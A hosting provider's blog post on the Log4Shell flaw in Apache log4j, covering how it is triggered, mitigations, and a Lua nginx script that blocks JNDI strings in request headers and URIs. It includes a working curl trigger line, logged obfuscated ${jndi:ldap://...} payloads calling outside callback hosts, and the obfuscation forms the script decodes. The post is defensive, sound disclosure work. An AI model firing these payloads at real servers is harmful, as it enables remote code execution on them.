Of course we cannot always share details about our work with customers, but nevertheless it is nice to show our technical achievements and share some of our implemented solutions.
Update: New version of lua script available!
The Apache log4j vulnerability, nicknamed Log4Shell and assigned vulnerability ID CVE-2021-44228, is currently widely discussed and mentioned in the news. But what is log4j, how is the vulnerability exploited and how can attacks be mitigated? These questions will be answered in this article, from our point of view as dedicated servers hosting provider.
Log4Shell "logo", by Kevin Beaumont
If you have never heard of log4j, you are excused and you don't have to feel out of the loop. Because log4j is not a "typical application" you would install yourself to run a service (such as a web application, a class or framework). It is a Java library mostly used as an "embedded logging application" inside an application. A lot of Java-based applications, for example Apache Tomcat, use log4j as the default logging mechanism. And as Java is (still) widely used, the attack surface is huge.
There are some excellent articles available, which explain the Log4Shell vulnerability perfectly. But in a nutshell: A Java application using log4j receives a request (over any protocol, e.g. HTTP) and logs this request. When the request contains a Java Naming and Directory Interface (JNDI) URL, log4j picks up this URL and opens the URL. The URL can of course contain a script, which is then executed by log4j. A typical RCE (Remote Code Execution) case.
The vulnerability was fixed in log4j 2.15. But, as mentioned above, as log4j is seldomly installed standalone but rather part of an application or package, these packages need to release a new version containing the fixed log4j library.
This is where this gets very interesting: It is way too easy! A simple HTTP request with a modified header is enough to trigger the vulnerability:
$ curl https://target.example.com -A '${jndi:ldap://8.8.4.4:1111/RCE/Command}'
In the above command, curl is used to send a HTTPS request to the target URL. The header (here the user-agent header) is modified with the vulnerable payload, containing the JNDI URL for log4j to follow. The application using log4j receives the request, log4j logs the request, follows the JNDI URL and executes the command found in the URL.
This does not require any authentication, yet gives the attacker a remote shell access on a successful attack. This reminded us to a "dark moment" in Linux history, when the Shellshock vulnerability hit the hosting providers.
The obvious fix is to install the patched log4j version 2.15 - but as mentioned before, log4j is mostly used as embedded part of another application. A workaround is to modify the Java property responsible for log4j's JNDI URL follow-up:
com.sun.jndi.ldap.object.trustURLCodebase = false
The application needs to be restarted afterwards. But if this is enough to mitigate against the vulnerability is not yet 100% sure.
By setting the Log4j parameter "formatMsgNoLookups" to true, the vulnerability can be mitigated (see article from Cloudflare). There are several ways how to do that. For example the Java command startup can contain the variable:
-Dlog4j2.formatMsgNoLookups=true
Or it can be set as environment variable (in the same script which starts the Java process):
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
However this only seems to work for Log4j versions >=2.10 (see article from Qualys).
Update December 15th: According to related CVE-2021-45046, this does not mitigate against attacks.
When we got aware of the vulnerability, it was Friday evening, December 10th 2021. After initial research we quickly knew that only our customers using Java-based applications would be affected. Luckily this narrowed the customers down to only a few so we could focus on these customer applications. Most of these potentially affected customers are using our hosted Atlassian Jira and hosted Confluence dedicated servers. We tried to exploit the vulnerability on the customer Jira domains yet we could not trigger the vulnerability. Although Confluence and Jira are using Tomcat with log4j in the background, the exploit did not work. According to Atlassian, the vulnerability does not apply by default - only if certain log4j properties were modified by the server administrator.
Update: A good list of potentially affected software can be found in this GitHub repository.
While trying to find which customer applications are actually vulnerable, we also ran ngrep on our central and dedicated reverse proxies to identify Log4Shell attacks. And with time passing by, more and more attacks were detected.
root@reverseproxy ~ # ngrep -q -d any 'jndi'
interface: any
filter: (ip || ip6)
match: jndi
T 159.223.9.17:48992 -> 10.12.12.206:80 [AP] #144034
GET / HTTP/1.1..Host: 212.103.71.220..User-Agent: ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upp
er:a}ryedge.io:80/callback}..Accept-Encoding: gzip, deflate..Accept: */*..Connection: keep-alive....
T 159.223.9.17:48992 -> 10.12.12.206:80 [AP] #144146
GET /favicon.ico HTTP/1.1..Host: 212.103.71.220..User-Agent: ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log
4j.bin${upper:a}ryedge.io:80/callback}..Accept-Encoding: gzip, deflate..Accept: */*..Connection: keep-alive....
[...]
While doing parallel application research and keeping an eye on the ngrep output, we quickly knew that this is a time game. Either we are quick enough to find and patch (if even possible) a vulnerable customer application or (automated) attacks are faster and are able to exploit the vulnerability and executing commands on the customer servers. You don't need to have almost two decades of professional server/hosting experience to understand that the attackers are more likely to win this race. So we switched our focus to mitigate the attacks on the ingress layer of our infrastructure: Our central and dedicated reverse proxies.
But yet another problem appeared. Although most of the attacks used the HTTP "User-Agent" header with the exploit payload, it did not take long until we spotted random request headers (e.g. X-API, Referrer and others) containing the exploit. The problem? Nginx cannot search "unknown" headers for their value. A quick and dirty fix would have been to just parse the known headers, such as user-agent, and block the access if a JNDI URL was detected:
if ($http_user_agent ~ jndi ) {
# do something, block, etc
}
But as the exploit could be in any header, even some "fantasy" headers, it is impossible to know these headers in advance and create filter rules.
This is where Lua comes in. Lua is a scripting language and can be used in Nginx (as a module) to create advanced rules, blocks, filters etc. By analyzing all request headers in a Lua script (something Nginx is not capable to do with the default configuration options), these request headers can be checked for a string match. As we know the exploit must contain a JNDI URL, we also have a way to detect an attack.
Hence we created the following Lua block which we included in all customer domains:
# LUA block to detect, block and log Log4Shell attacks (C) Infiniroot 2021 (@infiniroot)
# with lua fixes and other enhancements from Andreas Nanko (@andreasnanko)
rewrite_by_lua_block {
function decipher(v)
local s = tostring(v)
s=ngx.unescape_uri(s)
if string.find(s, "${base64:") then
t=(string.gsub(s, "${${base64:([%d%a%=]+)}}", "%1"))
s=string.gsub(s, "${base64:([%d%a%=]+)}", tostring(ngx.decode_base64(t)))
end
s=string.gsub(s, "${lower:(%a+)}", "%1")
s=string.gsub(s, "${upper:(%a+)}", "%1")
s=string.gsub(s, "${env:[%a_-]+:%-([%a:])}", "%1")
s=string.gsub(s, "${::%-(%a+)}", "%1")
if string.lower(s) == string.lower(tostring(v)) then
return string.lower(s)
else
return decipher(s)
end
end
local req_headers = "Headers: ";
local h, err = ngx.req.get_headers()
for k, v in pairs(h) do
req_headers = req_headers .. k .. ": " .. tostring(v) .. "\n";
if v then
if string.match(decipher(v), "{jndi:") then
ngx.log(ngx.ERR, 'Found potential log4j attack in header ' .. k .. ':' .. tostring(v))
ngx.exit(ngx.HTTP_FORBIDDEN)
end
else
if err then
ngx.log(ngx.ERR, "error: ", err)
return
end
end
end
local uri = tostring(ngx.var.request_uri)
if string.match(decipher(uri), "{jndi:") then
ngx.log(ngx.ERR, 'Found potential log4j attack in request: ' .. uri )
ngx.exit(ngx.HTTP_FORBIDDEN)
end
}
Update, December 13th: The lua script was adjusted for string bypass (#1) and includes lua fixes from Andreas Nanko (#2 and #4).
Update 2, December 14th: The script now also catches the exploit in the request URI (#7).
Update 3, December 14th: The script can now catches encoded URL (#8) and multiple nested requests (#12). The Nginx snippet above can now also be used or included in the http {} context (#13), making it global across the Nginx installation.
Update 4, December 15th: base64 encoded attacks are now also detected (#17).
This not only blocks the attacks (with a HTTP 403) but also logs the attack vector in the relevant error log. Are there better mitigations? Most likely, as always (e.g. WAF, IPS, NIDS, etc). But this solution is a quick and effective way to tackle the attacks whilst keeping the logs for analysis in the coming days.
After a couple of hours in production, we found quite a few attacks - mainly on "well known" customer domains. The Lua script nicely logged which domain was targeted and how (in which header) the exploit was added in the payload:
[...]
2021/12/11 18:03:04 [error] 5290#5290: *97266409 [lua] rewrite_by_lua(luaheader.conf:25):8: Found potential log4j attack in header referer:${jndi:ldap://c6q7de7ff6k7te5so4jgcg4putoygb8gc.interactsh.com/ref}, client: 20.203.133.122, server: cust1.example.com, request: "GET /$%7Bjndi:ldap://c6q7de7ff6k7te5so4jgcg4putoygb8ge.interactsh.com/ua%7D HTTP/1.1", host: "cust1.example.com", referrer: "${jndi:ldap://c6q7de7ff6k7te5so4jgcg4putoygb8gc.interactsh.com/ref}"
2021/12/11 18:42:04 [error] 5290#5290: *97282360 [lua] rewrite_by_lua(luaheader.conf:25):8: Found potential log4j attack in header user-agent:${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}, client: 139.59.101.242, server: cust5.example.com, request: "GET / HTTP/1.1", host: "212.103.71.210"
2021/12/11 19:20:12 [error] 5290#5290: *97298258 [lua] rewrite_by_lua(luaheader.conf:25):8: Found potential log4j attack in header user-agent:${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}, client: 138.197.106.234, server: cust5.example.com, request: "GET / HTTP/1.1", host: "212.103.71.215"
[...]
All Infiniroot customers are properly protected with this mitigation since Saturday noon (Swiss time).
Sure, we could talk about the solution we implemented and keep it all to ourselves. But we do strongly believe in Open Source Technology and everything involving it, including the community. As we are working with Open Source Technology, this is one of our ways how we contribute back to the OSS community. Besides that, this vulnerability is (almost) as bad as the Shellshock vulnerability from a couple of years ago. Every additional mitigation helps to keep the attacks and therefore exploited servers (which in return leads to additional attacks) lower.
We have created a public repository on Github (nginx-mitigate-log4shell) which contains our lua script as Nginx config.
Infiniroot is known for more than just managing dedicated servers. We pro-actively monitor customer applications and escalate when problems are detected. This also applies to security vulnerabilities on a large scale, such as the Log4Shell vulnerability. We believe it is our duty to mitigate such attacks and give our customers more time to update or patch their applications, running on our managed dedicated servers.